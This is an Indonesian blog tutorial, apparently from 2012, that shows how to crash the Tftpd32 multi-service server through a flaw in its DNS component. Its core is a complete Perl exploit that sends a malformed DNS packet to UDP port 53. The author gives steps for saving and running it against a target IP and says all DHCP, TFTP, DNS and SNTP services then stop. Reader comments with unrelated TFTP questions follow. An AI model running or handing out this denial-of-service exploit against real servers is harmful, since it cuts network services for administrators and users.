Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server



Halo jumpa lagi dengan saya mas Kurniawan, disini penulis akan memberikan tutorial dengan cara melakukan DoS pada suatu aplikasi yang menyediakan berbagai service server yaitu Tftpd32. Tftpd32  menyediakan berbagai service server seperti DHCP, TFTPD, DNS, SNTP dan sebagainya. Situs resmi program Tftpd32 ada di http://tftpd32.jounin.net.

Celah keamanan DoS terdapat pada DNS Server yang dapat membuat program Tftpd tidak aktif lagi di server.  Untuk mengetahui lebih jauh tentang bug pada aplikasi server ini anda dapat masuk ke http://www.exploit-db.com/exploits/18946.

Untuk melakukan exploitasi sebagai berikut, pertama-tama pastikan ActivePerl sudah ada di komputer anda, lalu jalankan exploit yang yang dibuat oleh demonalex  berikut :

#!/usr/bin/perluse IO::Socket;
use Socket;
use Math::BigInt;
$|=1;
$host=shift;
$port=shift || ’53′;
die “usage: $0 \$host [\$port]\n” if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
$crash=’A'x128;
$transaction_id_count=1;
sub dns_struct_pack($){
$domain=shift;                  #domain
$type=”\x00\xff”;               #dns_type = ANY
$transaction_id_count=1 if($transaction_id_count > 255);
$x=Math::BigInt->new($transaction_id_count);
$x=~s/0x//;
$transaction_id=sprintf(“\x00″.chr($x));
$flag=”\x01\x00″;
$question=”\x00\x01″;
$answer_rrs=”\x00\x00″;
$authority_rrs=”\x00\x00″;
$additional_rrs=”\x00\x00″;
if($domain ne ’0′){
undef($domain_length);
$domain_length=length($domain);
$y=Math::BigInt->new($domain_length);
$y=~s/0x//;
$domain_length=chr($y);
}
$class=”\x00\x01″;                    #IN
$transaction_id_count++;
if($domain eq ’0′){
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”\x00″.”$type”.”$class”;
}else{
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”$domain_length”.”$domain”.
“\x00″.”$type”.”$class”;
}
return $packet_struct;
}
print “Launch attack … “;
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
close(SOCK1);
print “Finish!\n”;exit(0);

Exploit tersebut kita simpan dalam ekstensi .pl, misalnya dosdns.pl, setelah itu tinggal kita panggil exploit tersebut dengan ActivePerl.

Cara penggunaannya adalah seperti diatas.

Jika disini misal targetnya adalah 192.168.1.79 maka sebagai berikut


Langsung otomatis program Tftpd32 keluar, semua service dari Tftpd32 baik DHCP, TFTP, DNS, SNTP, semua langsung mati alias tidak berfungsi, sampai si admin menjalankan kembali program Tftpd.

Oleh Kurniawan – [email protected]

  1. #1 by faris on 2012/05/29 - 10:44 pm

    Apakah ini hanya untuk Tftpd32 untuk mengirim file ke satu komputer ke komputer yang lain milik windows saja mas kur ? yang Tftpd64 bit itu juga bisa ndak ?

    kemudian tanya lagi :
    apakah sama teknology tftpd32 dengan tftpd-hpa dhcp3-server (ubuntu base)?

  2. #2 by andi on 2012/05/29 - 11:24 pm

    kita harus tau dns dan ip addres nya dulu ya kaka? bagaimana jika sbuah roter/modem yg kita gak tau ip/dns nya kk. Sebab roter saya lampu sys ga hidup coba diping dg ip/dns default openwrt RTO kaka

  3. #3 by hariyono on 2014/04/26 - 3:12 am

    kenapa ya……
    kalau saya ping test to server indosat pakek tftpd 32 kok ada keterangan overwrite ??.
    dan blok#0..

    makasih atas jawabanya….

(will not be published)